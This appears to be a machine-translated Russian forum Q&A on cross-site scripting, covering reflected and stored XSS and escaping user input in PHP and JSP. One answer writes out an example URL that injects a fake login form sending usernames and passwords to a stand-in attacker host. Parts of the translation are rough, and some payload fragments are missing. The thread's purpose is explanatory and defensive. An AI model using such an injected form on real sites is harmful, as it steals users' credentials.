Перекрестный сайт, пишущий сценарий (XSS), является типом уязвимости компьютерной безопасности, обычно найденной в веб-приложениях, которые позволяют злонамеренным взломщикам ввести клиентский сценарий в веб-страницы, просматриваемые другими пользователями. Использованная уязвимость сценариев перекрестного сайта может использоваться взломщиками для обхода средств управления доступом, таких как та же политика источника. Сценарии перекрестного сайта, выполненные на веб-сайтах, составляли примерно 80% всех уязвимостей системы обеспечения безопасности, зарегистрированных Symantec по состоянию на 2007.
Хорошо, таким образом, это означает, что хакер обрабатывает некоторый злонамеренный JS/VBscript, и поставляет его не подозревающей жертве при посещении законного сайта, который имеет незавершенные исходные данные?
Я имею в виду, я знаю, как Внедрение SQL сделано....
Я особенно не понимаю, как JS/VBscript может нанести такой ущерб! Я thoguht они только выполняются в браузерах, но по-видимому диапазонах повреждения от keylogging до кражи cookie и троянцев.
Мое понимание XSS корректно? в противном случае кто-то может разъясниться?
Как я могу предотвратить XSS на своих веб-сайтах? Это кажется важным; 80% уязвимостей системы обеспечения безопасности означают, что это - чрезвычайно общепринятая методика для захватывания компьютеров.
Прямой XSS
XSS как платформа для CSRF (это якобы действительно произошло)
XSS как платформа для атак с фиксацией сессии
Эти три пункта являются основными. Проблема с атаками XSS, CSRF и Session Fixation в том, что их очень, очень трудно отследить и исправить, и их очень просто разрешить, особенно если разработчик мало о них знает.
Поскольку ответы о том, как XSS может быть вредоносным, уже даны, я опубликую только два хороших представления о флэш-памяти по XSS и отвечу на следующий вопрос, оставшийся без ответа:
как я могу предотвратить появление XSS на моих веб-сайтах?
Вот два хороших кратких представления о XSS:
Что касается предотвращения использования XSS, вам нужно экранировать HTML любой пользовательский ввод, когда они собираются повторно отобразить на странице. Сюда входят заголовки запроса, параметры запроса и любой сохраненный ввод, управляемый пользователем, который должен обслуживаться из базы данных. Особенно необходимо экранировать <
, >
, "
и '
, поскольку это может привести к искажению окружающего HTML-кода, в котором этот ввод
Практически любая технология просмотра предоставляет встроенные способы выхода из HTML (или XML, этого также достаточно) сущностей .
В PHP это можно сделать с помощью htmlspecialchars ()
]. Например,
<input name="foo" value="<?php echo htmlspecialchars($foo); ?>">
Если вам нужно также избежать одиночных кавычек с этим, вам нужно будет указать аргумент ENT_QUOTES
, также см. Вышеупомянутую документацию PHP.
В JSP вы можете сделать это с помощью JSTL
или fn: escapeXml ()
. Например,
<input name="foo" value="<c:out value="${param.foo}" />">
или
<input name="foo" value="${fn:escapeXml(param.foo)}">
Обратите внимание, что на самом деле вам не нужно экранировать XSS во время обработки запроса, а только во время обработки ответа.Экранирование во время обработки запроса не требуется, и оно может рано или поздно искажать вводимые пользователем данные (и как администратор сайта вы также хотели бы знать , что на самом деле имеет данный пользователь введен, чтобы при необходимости вы могли совершать социальные действия). Что касается SQL-инъекций, просто избегайте его только во время обработки запроса в момент, когда данные собираются сохранить в базе данных.
Проблемы XSS-атак больше связаны с рыболовством. Проблема в том, что на сайт, которому доверяет клиент, может быть внедрен код, который ведет на сайт, созданный злоумышленником с определенной целью. Например, кража конфиденциальной информации.
Итак, в XSS-атаках злоумышленники не попадают в вашу базу данных и не связываются с ней. Он играет с чувством клиента, что этот сайт безопасен и каждая ссылка на нем указывает на безопасное место.
Это лишь первый шаг настоящей атаки - вовлечь клиента во враждебную среду.
Приведу краткий пример. Если, например, банковское учреждение размещает на своей странице чат-бокс и они не защищают меня от XSS-атак, я могу крикнуть: «Эй, зайдите по этой ссылке и введите свои пароли и номер кредитной карты для проверки безопасности!» ... И вы знаете, куда ведет эта ссылка, верно?
Вы можете предотвратить XSS-атаки, убедившись, что на вашей странице не отображается ничего, исходящее от ввода пользователя, без экранирования тегов html. Специальные символы должны быть экранированы, чтобы они не мешали разметке ваших html-страниц (или любой другой технологии, которую вы используете). Есть много библиотек, которые предоставляют это, включая библиотеку Microsoft AntiXSS.
Представьте себе веб-форум. XSS-атака может заключаться в том, что я делаю сообщение с некоторым javascript. Когда вы переходите на страницу, ваша веб-страница загружается, запускает js и делает то, что я сказал. Поскольку вы перешли на страницу и, скорее всего, вошли в систему, мой javascript будет делать все, на что у вас есть привилегии, например, создавать сообщения, удалять свои сообщения, вставлять спам, показывать всплывающие окна и т.д.
Итак, реальная концепция XSS заключается в том, что скрипт выполняется в вашем пользовательском контексте, что является повышением привилегий. Вы должны быть внимательны к тому, чтобы в любом месте вашего приложения, принимающего пользовательский ввод, любые скрипты и т.д. внутри него были экранированы, чтобы гарантировать, что XSS не может быть выполнен.
Вы должны следить за вторичными атаками. Представьте, если я помещу вредоносный скрипт в свое имя пользователя. Он может попасть на сайт без проверки, а затем вернуться обратно без проверки, но тогда любая страница, просматриваемая с моим именем пользователя, фактически выполнит вредоносный скрипт в пользовательском контексте.
Эскейп пользовательского ввода. Не разворачивайте свой код для этого. Проверяйте все, что входит, и все, что выходит.
я не понимаю, как JS/VBscript может причинить столько вреда!
Хорошо. Предположим, у вас есть сайт, и сайт обслуживается с http://trusted.server.com/thesite
. Допустим, на сайте есть окно поиска, и при поиске url становится: http://trusted.server.com/thesite?query=somesearchstring
.
Если сайт решит не обрабатывать поисковую строку и выведет ее в результатах, типа "Вы искали "somesearchstring" и не получили никаких результатов", то любой может внедрить на сайт произвольный html. Например:
http://trusted.server.com/thesite?query=<form action="http://evil.server.net">username: <input name="username"/><br/>password: <input name="pw" type="password"/><br/><input type="sumbit"/></form>
Итак, в этом случае сайт послушно покажет фальшивую форму входа на странице результатов поиска, и если пользователь ее отправит, он отправит данные на злой недоверенный сервер. Но пользователь этого не видит, особенно если url очень длинный, он увидит только первое "но" и решит, что имеет дело с trusted.server.com.
Вариации на эту тему включают внедрение тега , который добавляет обработчики событий в документ для отслеживания действий пользователя, или отправку cookie документа на злой сервер. Таким образом можно надеяться наткнуться на конфиденциальные данные, такие как логин, пароль или данные кредитной карты. Или вы можете попытаться вставить специально оформленный
, который занимает все окно клиента и обслуживает сайт, который выглядит как оригинальный, но на самом деле происходит с evil.server.com. До тех пор, пока пользователь обманом вынужден использовать внедренный контент вместо оригинала, безопасность нарушена.
Этот тип XSS называется отражающим и не отражающим. Отражающий - потому что url "отражается" непосредственно в ответе, а непостоянный - потому что фактический сайт не изменяется - он просто служит проходным. Заметьте, что что-то вроде https не обеспечивает здесь никакой защиты - сам сайт сломан, потому что он повторяет ввод пользователя через строку запроса.
Теперь хитрость заключается в том, чтобы заставить ничего не подозревающих пользователей доверять любым ссылкам, которые вы им даете. Например, вы можете отправить им письмо в формате HTML и включить в него привлекательную ссылку, указывающую на поддельный url. Или вы можете распространить его на вики, форумах и т.д. Уверен, вы можете оценить, насколько это просто - ведь это всего лишь ссылка, что может пойти не так?
Иногда бывает и хуже. Некоторые сайты фактически хранят пользовательский контент. Простой пример: комментарии в блоге или темы на форуме. Или более тонкий пример: страница профиля пользователя в социальной сети. Если на этих страницах допускается произвольный html, например, скрипт, и этот пользовательский html хранится и воспроизводится, то все, кто просто посещает страницу, содержащую этот контент, подвергаются риску. Это постоянный XSS. Теперь пользователям даже не нужно нажимать на ссылку, достаточно просто посетить страницу. И снова фактическая атака заключается в модификации страницы с помощью скрипта с целью перехвата данных пользователя.
Инъекция скрипта может быть тупой, например, можно вставить полный , а может быть тонкой:
.
Что касается того, как защитить себя: главное - никогда не выводить пользовательский ввод. Это может быть сложно, если ваш сайт вращается вокруг пользовательского контента с разметкой.